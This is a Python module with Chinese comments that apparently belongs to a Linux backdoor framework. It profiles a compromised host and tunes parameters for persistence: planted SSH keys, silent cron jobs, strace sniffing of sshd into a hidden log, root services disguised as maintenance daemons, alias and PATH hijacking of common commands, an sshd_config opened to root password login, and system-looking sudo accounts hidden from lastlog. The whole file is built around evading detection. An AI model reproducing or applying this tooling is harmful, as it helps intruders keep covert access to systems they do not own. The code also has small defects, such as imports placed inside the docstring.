#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

自适应参数优化器
根据目标系统负载和特征自动优化后门参数
解决静态参数配置问题
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import time
import random
import psutil
import socket
import subprocess
from typing import Dict, List, Tuple, Optional, Any
from dataclasses import dataclass
from enum import Enum



try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from .intelligent_decision_engine import BackdoorType, SystemEnvironment
except ImportError as e:
    print("导入模块失败: {}".format(e))


class OptimizationLevel(Enum):
    """优化级别"""
    CONSERVATIVE = "conservative"  # 保守模式
    BALANCED = "balanced"         # 平衡模式
    AGGRESSIVE = "aggressive"     # 激进模式


@dataclass
class SystemLoad:
    """系统负载信息"""
    cpu_percent: float
    memory_percent: float
    disk_io_percent: float
    network_io_mbps: float
    load_average_1m: float
    load_average_5m: float
    load_average_15m: float
    process_count: int
    
    def get_overall_load_level(self) -> str:
        """获取整体负载等级"""
        high_load_indicators = 0
        
        if self.cpu_percent > 80:
            high_load_indicators += 1
        if self.memory_percent > 85:
            high_load_indicators += 1
        if self.load_average_1m > 2.0:
            high_load_indicators += 1
        if self.process_count > 200:
            high_load_indicators += 1
        
        if high_load_indicators >= 3:
            return "high"
        elif high_load_indicators >= 2:
            return "medium"
        else:
            return "low"


@dataclass
class OptimizedParameters:
    """优化后的参数"""
    backdoor_type: BackdoorType
    parameters: Dict[str, Any]
    optimization_reasons: List[str]
    performance_impact: str  # low, medium, high
    stealth_adjustments: List[str]
    warnings: List[str]


class SystemProfiler:
    """系统性能分析器"""
    
    def __init__(self):
        self.name = "系统性能分析器"
        self.baseline_metrics = None
    
    def collect_system_load(self, duration: int = 10) -> SystemLoad:
        """收集系统负载信息"""
        color_blue("📊 正在收集系统负载信息 ({}秒)...".format(duration))
        
        # 收集CPU使用率
        cpu_percent = psutil.cpu_percent(interval=1)
        
        # 收集内存使用率
        memory = psutil.virtual_memory()
        memory_percent = memory.percent
        
        # 收集磁盘I/O
        disk_io_before = psutil.disk_io_counters()
        time.sleep(1)
        disk_io_after = psutil.disk_io_counters()
        
        # 计算磁盘I/O百分比（简化计算）
        disk_io_percent = min(100, (disk_io_after.read_bytes + disk_io_after.write_bytes - 
                                   disk_io_before.read_bytes - disk_io_before.write_bytes) / (1024*1024))
        
        # 收集网络I/O
        net_io_before = psutil.net_io_counters()
        time.sleep(1)
        net_io_after = psutil.net_io_counters()
        
        network_io_mbps = (net_io_after.bytes_sent + net_io_after.bytes_recv - 
                          net_io_before.bytes_sent - net_io_before.bytes_recv) / (1024*1024)
        
        # 获取负载平均值（Linux系统）
        try:
            load_avg = os.getloadavg()
        except AttributeError:
            # Windows系统不支持getloadavg，使用CPU使用率估算
            load_avg = (cpu_percent / 100.0, cpu_percent / 100.0, cpu_percent / 100.0)
        
        # 获取进程数量
        process_count = len(psutil.pids())
        
        load = SystemLoad(
            cpu_percent=cpu_percent,
            memory_percent=memory_percent,
            disk_io_percent=disk_io_percent,
            network_io_mbps=network_io_mbps,
            load_average_1m=load_avg[0],
            load_average_5m=load_avg[1],
            load_average_15m=load_avg[2],
            process_count=process_count
        )
        
        color_green("✓ 系统负载信息收集完成")
        return load
    
    def analyze_system_characteristics(self) -> Dict[str, Any]:
        """分析系统特征"""
        characteristics = {
            'server_type': 'unknown',
            'workload_pattern': 'unknown',
            'peak_hours': [],
            'resource_constraints': [],
            'optimization_opportunities': []
        }
        
        try:
            # 分析服务器类型
            characteristics['server_type'] = self._detect_server_type()
            
            # 分析工作负载模式
            characteristics['workload_pattern'] = self._analyze_workload_pattern()
            
            # 检测资源约束
            characteristics['resource_constraints'] = self._detect_resource_constraints()
            
            # 识别优化机会
            characteristics['optimization_opportunities'] = self._identify_optimization_opportunities()
            
        except Exception as e:
            color_red("系统特征分析失败: {}".format(e))
        
        return characteristics
    
    def _detect_server_type(self) -> str:
        """检测服务器类型"""
        # 检查常见服务进程
        web_servers = ['nginx', 'apache2', 'httpd']
        db_servers = ['mysql', 'postgresql', 'mongodb', 'redis']
        app_servers = ['java', 'python', 'node']
        
        running_processes = [p.name() for p in psutil.process_iter(['name'])]
        
        if any(ws in running_processes for ws in web_servers):
            return 'web_server'
        elif any(db in running_processes for db in db_servers):
            return 'database_server'
        elif any(app in running_processes for app in app_servers):
            return 'application_server'
        else:
            return 'general_purpose'
    
    def _analyze_workload_pattern(self) -> str:
        """分析工作负载模式"""
        load = self.collect_system_load(5)
        
        if load.cpu_percent > 70 and load.memory_percent > 70:
            return 'high_intensity'
        elif load.load_average_1m > 1.5:
            return 'cpu_intensive'
        elif load.memory_percent > 80:
            return 'memory_intensive'
        elif load.disk_io_percent > 50:
            return 'io_intensive'
        else:
            return 'light_load'
    
    def _detect_resource_constraints(self) -> List[str]:
        """检测资源约束"""
        constraints = []
        
        # 内存约束
        memory = psutil.virtual_memory()
        if memory.total < 2 * 1024**3:  # 小于2GB
            constraints.append('low_memory')
        
        # CPU约束
        if psutil.cpu_count() <= 2:
            constraints.append('low_cpu_cores')
        
        # 磁盘空间约束
        disk = psutil.disk_usage('/')
        if disk.free < 1 * 1024**3:  # 小于1GB
            constraints.append('low_disk_space')
        
        return constraints
    
    def _identify_optimization_opportunities(self) -> List[str]:
        """识别优化机会"""
        opportunities = []
        
        # 检查是否有优化空间
        load = self.collect_system_load(3)
        
        if load.cpu_percent < 30:
            opportunities.append('cpu_headroom_available')
        
        if load.memory_percent < 50:
            opportunities.append('memory_headroom_available')
        
        if load.process_count < 100:
            opportunities.append('low_process_count')
        
        return opportunities


class AdaptiveParameterOptimizer:
    """自适应参数优化器"""
    
    def __init__(self, optimization_level: OptimizationLevel = OptimizationLevel.BALANCED):
        self.name = "自适应参数优化器"
        self.optimization_level = optimization_level
        self.profiler = SystemProfiler()
        self.system_load = None
        self.system_characteristics = None
    
    def optimize_parameters(self, backdoor_type: BackdoorType, 
                          base_parameters: Dict[str, Any] = None) -> OptimizedParameters:
        """优化后门参数"""
        color_blue("⚙️ 正在优化 {} 后门参数...".format(backdoor_type.value))
        
        # 收集系统信息
        if not self.system_load:
            self.system_load = self.profiler.collect_system_load()
        
        if not self.system_characteristics:
            self.system_characteristics = self.profiler.analyze_system_characteristics()
        
        # 根据后门类型优化参数
        if backdoor_type == BackdoorType.SSH_KEY:
            optimized = self._optimize_ssh_key_parameters(base_parameters or {})
        elif backdoor_type == BackdoorType.CRONTAB:
            optimized = self._optimize_crontab_parameters(base_parameters or {})
        elif backdoor_type == BackdoorType.STRACE:
            optimized = self._optimize_strace_parameters(base_parameters or {})
        elif backdoor_type == BackdoorType.SYSTEM_SERVICE:
            optimized = self._optimize_service_parameters(base_parameters or {})
        elif backdoor_type == BackdoorType.NETWORK:
            optimized = self._optimize_network_parameters(base_parameters or {})
        elif backdoor_type == BackdoorType.BASH_ALIAS:
            optimized = self._optimize_bash_alias_parameters(base_parameters or {})
        elif backdoor_type == BackdoorType.ENVIRONMENT:
            optimized = self._optimize_environment_parameters(base_parameters or {})
        elif backdoor_type == BackdoorType.SSH_CONFIG:
            optimized = self._optimize_ssh_config_parameters(base_parameters or {})
        elif backdoor_type == BackdoorType.USER_ACCOUNT:
            optimized = self._optimize_user_account_parameters(base_parameters or {})
        else:
            optimized = OptimizedParameters(
                backdoor_type=backdoor_type,
                parameters=base_parameters or {},
                optimization_reasons=["未知后门类型，使用默认参数"],
                performance_impact="unknown",
                stealth_adjustments=[],
                warnings=["未知后门类型"]
            )
        
        color_green("✓ {} 参数优化完成".format(backdoor_type.value))
        return optimized
    
    def _optimize_ssh_key_parameters(self, base_params: Dict[str, Any]) -> OptimizedParameters:
        """优化SSH密钥参数"""
        params = base_params.copy()
        reasons = []
        stealth_adjustments = []
        warnings = []
        
        # 根据系统负载调整密钥大小
        if self.system_load.get_overall_load_level() == "high":
            params['key_size'] = 2048  # 高负载时使用较小密钥
            reasons.append("系统负载高，使用2048位密钥减少计算开销")
        else:
            params['key_size'] = 4096  # 低负载时使用更安全的密钥
            reasons.append("系统负载低，使用4096位密钥提高安全性")
        
        # 密钥类型选择
        if 'low_cpu_cores' in self.system_characteristics.get('resource_constraints', []):
            params['key_type'] = 'ed25519'  # 更高效的密钥类型
            reasons.append("CPU核心数少，使用Ed25519密钥类型提高效率")
        else:
            params['key_type'] = 'rsa'
        
        # 隐蔽性调整
        params['key_comment'] = "user@{}".format(socket.gethostname())
        params['authorized_keys_location'] = '~/.ssh/authorized_keys'
        
        # 根据优化级别调整
        if self.optimization_level == OptimizationLevel.AGGRESSIVE:
            params['backup_original'] = False
            stealth_adjustments.append("激进模式：不备份原始authorized_keys文件")
        else:
            params['backup_original'] = True
            stealth_adjustments.append("保守模式：备份原始authorized_keys文件")
        
        return OptimizedParameters(
            backdoor_type=BackdoorType.SSH_KEY,
            parameters=params,
            optimization_reasons=reasons,
            performance_impact="low",
            stealth_adjustments=stealth_adjustments,
            warnings=warnings
        )
    
    def _optimize_crontab_parameters(self, base_params: Dict[str, Any]) -> OptimizedParameters:
        """优化Crontab参数"""
        params = base_params.copy()
        reasons = []
        stealth_adjustments = []
        warnings = []
        
        # 根据系统负载调整执行频率
        load_level = self.system_load.get_overall_load_level()
        
        if load_level == "high":
            params['interval'] = "*/30 * * * *"  # 30分钟执行一次
            reasons.append("系统负载高，降低执行频率到30分钟")
            warnings.append("高负载环境，建议监控系统性能")
        elif load_level == "medium":
            params['interval'] = "*/15 * * * *"  # 15分钟执行一次
            reasons.append("系统负载中等，设置15分钟执行频率")
        else:
            params['interval'] = "*/5 * * * *"   # 5分钟执行一次
            reasons.append("系统负载低，可以使用5分钟高频执行")
        
        # 根据服务器类型调整
        server_type = self.system_characteristics.get('server_type', 'unknown')
        if server_type == 'database_server':
            # 数据库服务器避开业务高峰期
            params['interval'] = "0 2,14 * * *"  # 每天2点和14点执行
            reasons.append("数据库服务器，选择业务低峰期执行")
        elif server_type == 'web_server':
            # Web服务器避开访问高峰
            params['interval'] = "*/20 * * * *"
            reasons.append("Web服务器，适度降低执行频率")
        
        # 隐蔽性调整
        params['command_wrapper'] = True
        params['output_redirect'] = '/dev/null 2>&1'
        stealth_adjustments.append("重定向输出到/dev/null提高隐蔽性")
        
        # 随机化执行时间
        if self.optimization_level == OptimizationLevel.AGGRESSIVE:
            minute = random.randint(0, 59)
            params['interval'] = "{} */2 * * *".format(minute)  # 随机分钟数，每2小时执行
            stealth_adjustments.append("激进模式：随机化执行时间")
        
        return OptimizedParameters(
            backdoor_type=BackdoorType.CRONTAB,
            parameters=params,
            optimization_reasons=reasons,
            performance_impact="medium",
            stealth_adjustments=stealth_adjustments,
            warnings=warnings
        )
    
    def _optimize_strace_parameters(self, base_params: Dict[str, Any]) -> OptimizedParameters:
        """优化Strace参数"""
        params = base_params.copy()
        reasons = []
        stealth_adjustments = []
        warnings = []
        
        # 根据系统负载调整采样率
        load_level = self.system_load.get_overall_load_level()
        
        if load_level == "high":
            params['sample_rate'] = 0.05  # 5%采样率
            params['trace_calls'] = ['read', 'write']  # 只跟踪关键系统调用
            reasons.append("高负载环境，使用5%采样率和有限系统调用跟踪")
            warnings.append("高负载环境，strace可能影响系统性能")
        elif load_level == "medium":
            params['sample_rate'] = 0.2   # 20%采样率
            params['trace_calls'] = ['read', 'write', 'open', 'close']
            reasons.append("中等负载环境，使用20%采样率")
        else:
            params['sample_rate'] = 0.5   # 50%采样率
            params['trace_calls'] = None  # 跟踪所有系统调用
            reasons.append("低负载环境，可以使用50%采样率")
        
        # 根据内存情况调整日志大小
        memory_gb = psutil.virtual_memory().total / (1024**3)
        if memory_gb < 2:
            params['max_log_size'] = '10M'
            params['log_rotation'] = True
            reasons.append("内存不足2GB，限制日志大小并启用轮转")
        else:
            params['max_log_size'] = '100M'
            params['log_rotation'] = False
        
        # 目标进程选择
        if self.system_characteristics.get('server_type') == 'web_server':
            params['target_process'] = 'nginx|apache2|httpd'
            reasons.append("Web服务器，跟踪Web服务进程")
        else:
            params['target_process'] = 'sshd'
            reasons.append("默认跟踪SSH服务进程")
        
        # 隐蔽性调整
        params['log_file'] = '/tmp/.system_trace.log'
        params['detach_mode'] = True
        stealth_adjustments.append("使用隐藏日志文件名和分离模式")
        
        return OptimizedParameters(
            backdoor_type=BackdoorType.STRACE,
            parameters=params,
            optimization_reasons=reasons,
            performance_impact="high",
            stealth_adjustments=stealth_adjustments,
            warnings=warnings
        )
    
    def _optimize_service_parameters(self, base_params: Dict[str, Any]) -> OptimizedParameters:
        """优化系统服务参数"""
        params = base_params.copy()
        reasons = []
        stealth_adjustments = []
        warnings = []
        
        # 服务名称优化
        server_type = self.system_characteristics.get('server_type', 'unknown')
        if server_type == 'web_server':
            params['service_name'] = 'nginx-cache-cleaner'
            reasons.append("Web服务器环境，使用nginx相关服务名")
        elif server_type == 'database_server':
            params['service_name'] = 'mysql-log-rotator'
            reasons.append("数据库服务器环境，使用数据库相关服务名")
        else:
            params['service_name'] = 'system-maintenance'
            reasons.append("通用环境，使用系统维护服务名")
        
        # 根据系统负载调整重启策略
        load_level = self.system_load.get_overall_load_level()
        if load_level == "high":
            params['restart_policy'] = 'on-failure'
            params['restart_delay'] = '30s'
            reasons.append("高负载环境，使用失败时重启策略")
        else:
            params['restart_policy'] = 'always'
            params['restart_delay'] = '10s'
            reasons.append("低负载环境，使用总是重启策略")
        
        # 资源限制
        if 'low_memory' in self.system_characteristics.get('resource_constraints', []):
            params['memory_limit'] = '50M'
            params['cpu_limit'] = '10%'
            reasons.append("内存受限环境，设置资源限制")
        
        # 隐蔽性调整
        params['service_description'] = "System {} daemon".format(params['service_name'])
        params['user'] = 'root'
        params['working_directory'] = '/tmp'
        stealth_adjustments.append("使用系统风格的服务描述和配置")
        
        return OptimizedParameters(
            backdoor_type=BackdoorType.SYSTEM_SERVICE,
            parameters=params,
            optimization_reasons=reasons,
            performance_impact="medium",
            stealth_adjustments=stealth_adjustments,
            warnings=warnings
        )
    
    def _optimize_network_parameters(self, base_params: Dict[str, Any]) -> OptimizedParameters:
        """优化网络后门参数"""
        params = base_params.copy()
        reasons = []
        stealth_adjustments = []
        warnings = []
        
        # 端口选择优化
        listening_ports = []
        try:
            for conn in psutil.net_connections(kind='inet'):
                if conn.status == 'LISTEN' and conn.laddr:
                    listening_ports.append(conn.laddr.port)
        except:
            pass
        
        # 选择未使用的端口
        common_ports = [80, 443, 22, 21, 25, 53, 110, 143, 993, 995]
        available_ports = [p for p in common_ports if p not in listening_ports]
        
        if available_ports:
            params['port'] = available_ports[0]
            reasons.append("选择未使用的常见端口 {}".format(available_ports[0]))
        else:
            params['port'] = random.randint(8000, 9000)
            reasons.append("常见端口都被占用，选择随机高端口")
        
        # 根据网络负载调整
        if self.system_load.network_io_mbps > 10:
            params['connection_limit'] = 5
            params['timeout'] = 30
            reasons.append("网络负载高，限制连接数和超时时间")
        else:
            params['connection_limit'] = 10
            params['timeout'] = 60
        
        # 绑定地址优化
        if self.optimization_level == OptimizationLevel.CONSERVATIVE:
            params['bind_address'] = '127.0.0.1'
            stealth_adjustments.append("保守模式：只绑定本地地址")
        else:
            params['bind_address'] = '0.0.0.0'
            stealth_adjustments.append("激进模式：绑定所有地址")
        
        # 协议选择
        params['protocol'] = 'tcp'
        params['encryption'] = True
        stealth_adjustments.append("使用TCP协议和加密传输")
        
        return OptimizedParameters(
            backdoor_type=BackdoorType.NETWORK,
            parameters=params,
            optimization_reasons=reasons,
            performance_impact="medium",
            stealth_adjustments=stealth_adjustments,
            warnings=warnings
        )
    
    def _optimize_bash_alias_parameters(self, base_params: Dict[str, Any]) -> OptimizedParameters:
        """优化Bash别名参数"""
        params = base_params.copy()
        reasons = []
        stealth_adjustments = []
        warnings = []
        
        # 目标命令选择
        common_commands = ['ls', 'ps', 'top', 'df', 'free', 'who']
        params['target_command'] = random.choice(common_commands)
        reasons.append("随机选择常用命令 {} 作为别名目标".format(params['target_command']))
        
        # 别名文件选择
        alias_files = ['~/.bashrc', '~/.bash_aliases', '~/.profile']
        params['alias_file'] = alias_files[0]  # 默认使用.bashrc
        
        # 隐蔽性调整
        params['preserve_original'] = True
        params['stealth_mode'] = True
        stealth_adjustments.append("保留原始命令功能，添加隐蔽后门逻辑")
        
        # 触发条件
        if self.optimization_level == OptimizationLevel.AGGRESSIVE:
            params['trigger_probability'] = 0.1  # 10%概率触发
            stealth_adjustments.append("激进模式：10%概率触发后门")
        else:
            params['trigger_probability'] = 0.05  # 5%概率触发
            stealth_adjustments.append("保守模式：5%概率触发后门")
        
        return OptimizedParameters(
            backdoor_type=BackdoorType.BASH_ALIAS,
            parameters=params,
            optimization_reasons=reasons,
            performance_impact="low",
            stealth_adjustments=stealth_adjustments,
            warnings=warnings
        )
    
    def _optimize_environment_parameters(self, base_params: Dict[str, Any]) -> OptimizedParameters:
        """优化环境变量参数"""
        params = base_params.copy()
        reasons = []
        stealth_adjustments = []
        warnings = []
        
        # 目标二进制选择
        common_binaries = ['ls', 'ps', 'cat', 'grep', 'find']
        params['target_binary'] = random.choice(common_binaries)
        reasons.append("选择常用二进制 {} 作为劫持目标".format(params['target_binary']))
        
        # PATH劫持路径
        params['hijack_path'] = '/tmp/.system_bins'
        params['original_path_backup'] = True
        stealth_adjustments.append("使用隐藏目录进行PATH劫持")
        
        # 环境变量文件
        env_files = ['~/.bashrc', '~/.profile', '/etc/environment']
        params['env_file'] = env_files[0]
        
        return OptimizedParameters(
            backdoor_type=BackdoorType.ENVIRONMENT,
            parameters=params,
            optimization_reasons=reasons,
            performance_impact="low",
            stealth_adjustments=stealth_adjustments,
            warnings=warnings
        )
    
    def _optimize_ssh_config_parameters(self, base_params: Dict[str, Any]) -> OptimizedParameters:
        """优化SSH配置参数"""
        params = base_params.copy()
        reasons = []
        stealth_adjustments = []
        warnings = []
        
        # 后门端口选择
        ssh_ports = [22, 2222, 2200, 22000]
        current_ssh_port = 22  # 默认SSH端口
        
        # 选择不同的端口
        available_ports = [p for p in ssh_ports if p != current_ssh_port]
        params['backdoor_port'] = available_ports[0] if available_ports else 2222
        reasons.append("选择端口 {} 作为SSH后门端口".format(params['backdoor_port']))
        
        # 配置文件位置
        params['config_file'] = '/etc/ssh/sshd_config'
        params['backup_original'] = True
        stealth_adjustments.append("备份原始SSH配置文件")
        
        # 安全配置
        params['permit_root_login'] = 'yes'
        params['password_authentication'] = 'yes'
        params['pubkey_authentication'] = 'yes'
        
        if self.optimization_level == OptimizationLevel.CONSERVATIVE:
            params['max_auth_tries'] = 3
            stealth_adjustments.append("保守模式：限制认证尝试次数")
        else:
            params['max_auth_tries'] = 6
        
        return OptimizedParameters(
            backdoor_type=BackdoorType.SSH_CONFIG,
            parameters=params,
            optimization_reasons=reasons,
            performance_impact="low",
            stealth_adjustments=stealth_adjustments,
            warnings=warnings
        )
    
    def _optimize_user_account_parameters(self, base_params: Dict[str, Any]) -> OptimizedParameters:
        """优化用户账户参数"""
        params = base_params.copy()
        reasons = []
        stealth_adjustments = []
        warnings = []
        
        # 用户名生成
        system_users = ['daemon', 'bin', 'sys', 'sync', 'games', 'man', 'lp', 'mail', 'news', 'uucp']
        params['username'] = "{}{}".format(random.choice(system_users), random.randint(1, 99))
        reasons.append("生成系统风格用户名: {}".format(params['username']))
        
        # 用户组
        params['group'] = 'users'
        params['additional_groups'] = ['adm', 'sudo'] if self.optimization_level == OptimizationLevel.AGGRESSIVE else ['users']
        
        # 家目录
        params['home_directory'] = "/var/lib/{}".format(params['username'])
        params['shell'] = '/bin/bash'
        
        # 密码策略
        if self.optimization_level == OptimizationLevel.AGGRESSIVE:
            params['password_complexity'] = 'medium'
            stealth_adjustments.append("激进模式：中等复杂度密码")
        else:
            params['password_complexity'] = 'high'
            stealth_adjustments.append("保守模式：高复杂度密码")
        
        # 隐蔽性设置
        params['hide_from_lastlog'] = True
        params['disable_password_expiry'] = True
        stealth_adjustments.append("隐藏登录记录并禁用密码过期")
        
        warnings.append("用户账户后门容易被检测，建议谨慎使用")
        
        return OptimizedParameters(
            backdoor_type=BackdoorType.USER_ACCOUNT,
            parameters=params,
            optimization_reasons=reasons,
            performance_impact="low",
            stealth_adjustments=stealth_adjustments,
            warnings=warnings
        )
    
    def get_optimization_summary(self) -> Dict[str, Any]:
        """获取优化摘要"""
        if not self.system_load:
            return {}
        
        return {
            'system_load': {
                'overall_level': self.system_load.get_overall_load_level(),
                'cpu_percent': self.system_load.cpu_percent,
                'memory_percent': self.system_load.memory_percent,
                'load_average': self.system_load.load_average_1m
            },
            'system_characteristics': self.system_characteristics,
            'optimization_level': self.optimization_level.value,
            'recommendations': {
                'high_load_environment': self.system_load.get_overall_load_level() == "high",
                'resource_constraints': self.system_characteristics.get('resource_constraints', []),
                'optimization_opportunities': self.system_characteristics.get('optimization_opportunities', [])
            }
        }


def main():
    """测试自适应参数优化器"""
    print("⚙️ 自适应参数优化器测试")
    print("=" * 50)
    
    optimizer = AdaptiveParameterOptimizer(OptimizationLevel.BALANCED)
    
    # 测试不同后门类型的参数优化
    backdoor_types = [
        BackdoorType.SSH_KEY,
        BackdoorType.CRONTAB,
        BackdoorType.STRACE,
        BackdoorType.SYSTEM_SERVICE
    ]
    
    for backdoor_type in backdoor_types:
        print("\n🔧 优化 {} 参数:".format(backdoor_type.value))
        optimized = optimizer.optimize_parameters(backdoor_type)
        
        print("  优化后参数: {}".format(optimized.parameters))
        print("  优化原因: {}".format(optimized.optimization_reasons))
        print("  性能影响: {}".format(optimized.performance_impact))
        print("  隐蔽性调整: {}".format(optimized.stealth_adjustments))
        
        if optimized.warnings:
            print("  ⚠️  警告: {}".format(optimized.warnings))
    
    # 显示优化摘要
    print(f"\n📊 优化摘要:")
    summary = optimizer.get_optimization_summary()
    for key, value in summary.items():
        print("  {}: {}".format(key, value))


if __name__ == "__main__":
    main()